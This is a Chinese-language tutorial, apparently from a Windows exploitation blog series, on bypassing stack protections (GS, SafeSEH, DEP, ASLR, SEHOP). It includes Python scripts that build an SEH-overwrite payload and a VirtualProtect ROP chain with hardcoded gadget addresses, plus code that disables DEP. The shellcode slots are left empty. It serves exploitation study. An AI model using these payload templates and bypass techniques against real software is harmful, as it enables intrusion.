针对栈攻击的防护与绕过
GS
GS本质上和Linux GCC中的canary很相似,他在栈帧的结尾(EBP之前)插入一给DWORD
类型的值,其副本存在于.data
中。
在编译的时候并不会存在GS保护有下面几种情况
- 函数不包含缓冲区
- 函数被定义为具有变量参数列表
- 函数使用无保护的关键字标记
- 函数在第一个语句中包含内嵌汇编代码
- 缓冲区不是 8 字节类型且大小不大于 4 个字节
不过仍然可以采用#pragma strict_gs_check
强制启用GS保护
1 |
|
绕过方式要漏洞类型灵活选择
-
如果是可以泄露那么泄露后拼接再溢出
-
再C++中,
struct
和class
除了访问权限没有不同,那么有机会可以通过修改函数指针(比如虚函数)来进行RCE -
如果存在任意地址写或者能过写道
.data
段(比如存在字符串格式化漏洞),可以将对比的cookie设置为特定值 -
GS机制没有存在SEH的保护,所以 【Win Pwn】基础栈溢出利用 中的利用手段仍然能够成功,只是溢出长度和ROP的Gadget需要重新设置。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17from ae64 import AE64
payload = b""
shellcode = b""
offset = b"A"*(0x160-len(shellcode)-16) #0x1c
test_func = b"\xc4\x16\x40\x00" #004016C4
NSEH = b"\xeb\x06\x90\x90" #asm("jmp 6;nop;nop")
gadget = b"\x9e\x26\x41\x00" #0041269E
self_gadget = b"\x89\xE0\x05\x2c\x07\x00\x00\xFF\xE0"
# mov eax, esp
# sub eax, 0x64c;//sub eax, 0x608
# jmp eax
payload = b"\xaa"*16+shellcode+offset+NSEH+gadget+self_gadget
with open("password.txt","wb") as f:
f.write(payload)
SafeSEH
0day那本书上信息有点…过时了,这里可以参考微软的官方定义/SAFESEH
(映像具有安全异常处理程序),主要识别方法就是在.rdata
中存在IMAGE_LOAD_CONFIG_DIRECTORY32_2
通过RtlDispatchException
函数实现
比较通杀的方法就是
- 不使用SEH
- 在堆区上布置shellcode然后执行
这里改动一下源代码
-
把SEH的地址手动改为堆地址
-
经过校验后直接到堆中执行了
P3是重启了一次后截图,地址可能会不一样
总结一下就是地址的ROP必须符合验证的权限,但是没有开启SafeSEH的DLL文件中的Gadget、没有DEP时候的堆地址都可以使用。
DEP
DEP是类似于Windows上的NX,作用是禁止堆栈的数据拥有执行的权限,避免了Shellcode直接执行。
操作系统通过设置内存页的 NX/XD 属性标记,来指明不能从该内存执行代码。为了实现 这个功能,需要在内存的页面表(Page T able)中加入一个特殊的标识位(NX/XD)来标识是 否允许在该页上执行指令。当该标识位设置为 0 里表示这个页面允许执行指令,设置为 1 时表 示该页面不允许执行指令。
关于NX保护也可以手动查看
只编译DEP可能还需要关闭运行时检查
主要思路就是Ret2Libc
-
调用
ZwSetInformationProcess
关闭DEP在之前的《【win内核原理与实现】II. 进程与线程》中提到过
_KPROCESS
存在ExecuteOptions
我并没有在微软的官网上找到该结构体的说明,但是可以通过之前他们的逆向结果找到
1
2
3
4
5
6
7Pos0 ExecuteDisable :1bit
Pos1 ExecuteEnable :1bit
Pos2 DisableThunkEmulation :1bit
Pos3 Permanent :1bit
Pos4 ExecuteDispatchEnable :1bit
Pos5 ImageDispatchEnable :1bit
Pos6 Spare :2bit当前进程 DEP 开启时 ExecuteDisable 位被置 1,当 进程 DEP 关闭时 ExecuteEnable 位被置 1,DisableThunkEmulation 是为了兼容 ATL 程序设置的, Permanent 被置 1 后表示这些标志都不能再被修改。真正影响 DEP 状态是前两位,所以我们只 要将_KEXECUTE_OPTIONS 的值设置为 0x02(二进制为 00000010)就可以将 ExecuteEnable 置为 1。
使用
1
2
3
4
5
6ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
ZwSetInformationProcess(
NtCurrentProcess(), // (HANDLE)-1
ProcessExecuteFlags, // 0x22
&ExecuteFlags, // ptr to 0x2
sizeof(ExecuteFlags)); // 0x4就可以关掉DEP保护了,在0day书中介绍了3种直接利用兼容性异常而导致DEP关闭的方法
(1)当 DLL 受 SafeDisc 版权保护系统保护时;
(2)当 DLL 包含有.aspcak、.pcle、.sforce 等字节时;
(3)Windows V ista 下面当 DLL 包含在注册表“HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions”键下边标识 出不需要启动 DEP 的模块时
很可惜在windows10中这些情况几乎不会出现,所以方法不适用
这两种是我比较喜欢用的,因为可以和免杀结合在一起
他们的基础就是类似LinuxPwn中的ROP构造,这里我使用的是32下,cdcle调用方式,使用栈传参
-
VirtualProtect
改写内存权限关于函数的用法:virtualProtect 函数 (memoryapi.h)
1
2
3
4
5
6BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);lpAddress
: 要改变属性的内存起始地址。dwSize
: 要改变属性的内存区域大小。flNewProtect
: 内存新的属性类型,设置为 PAGE_EXECUTE_READWRITE(0x40)时该 内存页为可读可写可执行。pflOldProtect
: 内存原始属性类型保存地址。 修改内存属性成功时函数返回非 0,修改失败时返回 0。不过API位于的是
shell32.dll
当中,所以要添加上HINSTANCE hInst = LoadLibrary(L"shell32.dll");
由于ROP依赖于函数调用的传参方式,下面是一个经典的传参
ROP时栈的结构
由于没有泄露点,所以只能在调试的时候修改。也可以使用Gadget来构造,比如说通过
ESP
相关得到栈地址之类的。(但是得到VirtualProtect
就太困难了)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18from ae64 import AE64
payload = b""
shellcode = b""
offset = b"A"*0x14
payload = offset
payload += b"\x90"*4 #VirtualProtect
payload += b"\x80"*4 #Shellcode Address
payload += b"\x80"*4 #Shellcode Address
payload += b"\xff\x00\x00\x00" #Address Length
payload += b"\x40\x00\x00\x00" #PAGE_EXECUTE_READWRITE
payload += b"\x38\xa0\x41\x00" #0041A038
payload += shellcode
with open("password.txt","wb") as f:
f.write(payload) -
VirtualAlloc
来开辟可执行的内存然后执行shellcode和
VirtualProtect
一样的道理,不过需要使用复制的payload将shellcode复制到可执行的内存中
ASLR
在绕过DEP保护中需要调试的时候才能写入函数地址的原因就是这些函数的DLL使用了ASLR保护,导致函数每次加载的基地址不同,所以无法使用固定地址。
绕过思路主要有
- 低位覆盖,最低位是固定的
- 堆喷,将内存初始化后的
\x0c
强制写为\x90
(nop
的汇编),这样程序进入了任意的地址都能滑行到shellcode。(扩大伤害面)
SEHOP
由于SEH是链式的,所以他会顺着链表检查,如果最后一个不为系统固定的终极异常处理函数就直接不执行。
最直接有效的就是伪造SEH链,由于只会验证最后一个,只满足这个条件就可以了
由于SEHOP在SafeSEH之前,所以绕过过后还需要继续绕过SafeSEH
参考
《0day安全:软件漏洞分析技术》